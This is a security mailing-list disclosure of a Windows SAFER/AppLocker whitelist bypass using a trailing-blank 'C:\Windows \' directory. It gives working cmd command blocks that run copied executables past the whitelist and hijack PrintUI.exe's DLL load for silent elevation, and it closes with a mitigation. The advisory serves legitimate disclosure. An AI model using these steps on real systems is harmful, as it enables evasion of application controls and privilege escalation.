Date: Thu, 29 Apr 2021 17:15:44 +0200
From: "Stefan Kanthak" <stefan.kanthak@...go.de>
To: <fulldisclosure@...lists.org>
Cc: bugtraq@...urityfocus.com
Subject: [FD] Defense in depth -- the Microsoft way (part 75): Bypass of
	SAFER alias Software Restriction Policies NOT FIXED

Hi @ll,

Microsoft introduced SAFER alias Software Restriction Policies (SRP) with
Windows XP about 20 years ago.
See <https://msdn.microsoft.com/en-us/library/ms722422.aspx> for the API,
plus the TechNet articles "How Software Restriction Policies Work"
<https://technet.microsoft.com/en-us/library/cc786941.aspx> and
"Using Software Restriction Policies to Protect Against Unauthorized Software"
<https://technet.microsoft.com/en-us/library/bb457006.aspx> for the use case.

"Using Software Restriction Policies to Protect Against Unauthorized Software"
<https://technet.microsoft.com/en-us/library/cc507878.aspx> and
"Application Lockdown with Software Restriction Policies"
<https://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx>
were published some years later for Windows Vista.

Windows 7 then introduced AppLocker as successor to SAFER/SRP, available but
only in Enterprise and Server editions.


A basic whitelist which allows (unprivileged) users to execute applications,
scripts, DLLs etc. only from the write-protected directories "C:\Windows\"
and "C:\Program Files\", on 64-bit editions also "C:\Program Files (x86)\",
and below, but excludes the user-writable directory "C:\Windows\Temp\", can
be setup with the following registry script which uses just 5 path rules:

--- SAFER.REG ---
REGEDIT4

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers]
"DefaultLevel"=dword:00000000       ; disallowed
"PolicyScope"=dword:00000001        ; all users except (elevated) 'Administrators'
"TransparentEnabled"=dword:00000002 ; all executables and DLLs

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{C7ADC554-00AF-4BDE-A192-FF2914E2653F}]
"ItemData"="C:\\Windows\\Temp"

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\0\Paths\{C7ADD2B8-A529-491E-BB39-4F7694557B88}]
"ItemData"="C:\\Windows\\Temp:*"

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Paths\{191CD7FA-F240-4A17-8986-94D480A6C8CA}]
"ItemData"="C:\\Windows"

; CAVEAT: uncomment the following 2 lines only on 64-bit editions!
;[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Paths\{C77CC673-3BA3-427D-C9DE-76D54F6DC97E}]
;"ItemData"="C:\\Program Files (x86)"

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Safer\CodeIdentifiers\262144\Paths\{D2C34AB2-529A-46B2-B293-FC853FCE72EA}]"
"ItemData"="C:\\Program Files"
--- EOF ---


Almost 10 years ago, Microsoft fixed an AppLocker and SAFER/SRP bypass
with the hotfix <https://support.microsoft.com/kb/2532445> for Windows 7
and Windows Server 2008 R2, but left older versions vulnerable -- and
made a rather poor job.

4 years ago I showed the other bypass of SAFER/SRP and AppLocker, plus
its mitigation: see <https://seclists.org/bugtraq/2017/Mar/77> alias
<https://seclists.org/fulldisclosure/2017/Mar/69>, plus
<https://skanthak.homepage.t-online.de/appcert.html>

JFTR: the "future version of Windows" where this bypass should have
      been fixed according to the MSRC has not yet been seen anywhere!


It's time to show another bypass: to evaluate path rules, SAFER/SRP
(and to my knowledge AppLocker too) relies on the Win32 functions
GetFullPathName(), GetLongPathName() and GetShortPathName() (see
<https://msdn.microsoft.com/en-us/library/aa364963.aspx>,
<https://msdn.microsoft.com/en-us/library/aa364980.aspx> and
<https://msdn.microsoft.com/en-us/library/aa364989.aspx>),
which but fail for pathnames with a trailing blank: see
<https://skanthak.homepage.t-online.de/quirks.html#quirk11>

Due to these bugs, SAFER/SRP and AppLocker treat the pathname
"C:\Windows \..." like "C:\Windows\..."


Demonstration:
~~~~~~~~~~~~~~

0. If you don't have SAFER/SRP or AppLocker already setup, log on
   to the user account created during Windows setup and import the
   registry script shown above, then reboot.

1. Log on to an arbitrary (unprivileged) user account, start the
   command processor and run the following (first block of) command
   lines:

   MKDIR "%SystemDrive%\Foo" && (
   COPY "%COMSPEC%" "%SystemDrive%\Foo\Bar.exe" && (
   START "SAFER" /WAIT "%SystemDrive%\Foo\Bar.exe"
   ECHO 1>"%SystemDrive%\Foo\Bar.cmd" @ECHO Just a batch script
   CALL "%SystemDrive%\Foo\Bar.cmd"
   ECHO 1>"%SystemDrive%\Foo\Bar.vbs" WScript.Echo "Just a Visual Basic script"
   START "SAFER" /WAIT "%SystemDrive%\Foo\Bar.vbs"
   RMDIR /Q /S "%SystemDrive%\Foo"))

   Both SAFER and AppLocker block execution in the directory "C:\Foo\"

2. Run the following (second block of) command lines:

   MKDIR "%SystemRoot% \" && (
   COPY "%COMSPEC%" "%SystemRoot% \Dummy.exe" && (
   START "OOPS!" /WAIT "%SystemRoot% \Dummy.exe"
   ECHO 1>"%SystemRoot% \Dummy.vbs" WScript.Echo "Just a Visual Basic script"
   START "OOPS!" /WAIT "%SystemRoot% \Dummy.vbs"
   RMDIR /Q /S "%SystemRoot% \"))

   An unprivileged user can execute (a copy of) the command processor
   (as well as any other executable) in the directory "C:\Windows \"!

NOTE: the following 2 steps are optional and solely for entertainment!

3. Run the following (third block of) command lines:

   SETLOCAL ENABLEDELAYEDEXPANSION
   MKDIR "%SystemRoot% \" && (
   COPY "%SystemRoot%\System32\PrintUI.exe" "%SystemRoot% \PrintUI.exe" && (
   START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
   "%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!
   COPY "%SystemRoot%\System32\ShUnimpl.dll" "%SystemRoot% \PrintUI.dll"
   START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
   "%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!
   RMDIR /Q /S "%SystemRoot% \"))

   Both START commands trigger a BLUE UAC prompt which displays
   "Verified Publisher: Microsoft Windows", i.e. the security theatre
   known as UAC determines "C:\Windows \" to be a TRUSTED directory!

4. Finally log on to the user account created during Windows setup,
   start the command processor (UNELEVATED!) and run just the third
   block of command lines.

   The copy of PrintUI.exe auto-elevates without UAC prompt, then loads
   and executes the copy of ShUnimpl.dll (or any other DLL copied as
   PrintUI.dll into its application directory) with administrative rights!
   Both the missing dialog box "Change printer settings" and the exit
   code 1114 alias ERROR_DLL_INIT_FAILED from the second START command
   indicate that the copy of ShUnimpl.dll was loaded instead of the real
   %SystemRoot%\System32\PrintUI.dll

   The Common Weaknesses and Exposures classifies such misbehavior,
   which results in arbitrary code execution (here with escalation of
   privilege), as
   - CWE-426: Untrusted Search Path
     <https://cwe.mitre.org/data/definitions/426.html>
   - CWE-427: Uncontrolled Search Path Element
     <https://cwe.mitre.org/data/definitions/427.html>

   The Common Attack Pattern Enumeration and Classification lists it as
   - CAPEC-471: Search Order Hijacking
     <https://capec.mitre.org/data/definitions/471.html>


Mitigation:
~~~~~~~~~~~

Remove the permission to create directories in the root directory of the
system drive for 'Authenticated Users':

ICACLS.exe %SystemDrive%\ /Remove:g *S-1-5-11


stay tuned, and NEVER use Windows in default configuration/installation!
Stefan Kanthak


PS: I reported these 2 bypasses to the MSRC, where case 64652 was opened.
    Some days later I received the following reply:

| We were unfortuantely unable to reproduce this issue, however based on
| what you have described:
| A UAC bypass only for Administrators - UAC is not considered a security
| boundary.
| A SRP bypass, which is also not considered a security boundary.
|
| As a result, this does not meet the bar for servicing.
| For this reason I have closed this case.

    NOBODY runs any command as 'Administrator' here, but just as the
    UNPRIVILEGED and UNELEVATED user created during Windows setup,
    which Joe and Jane Average use for their day-to-day work!

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists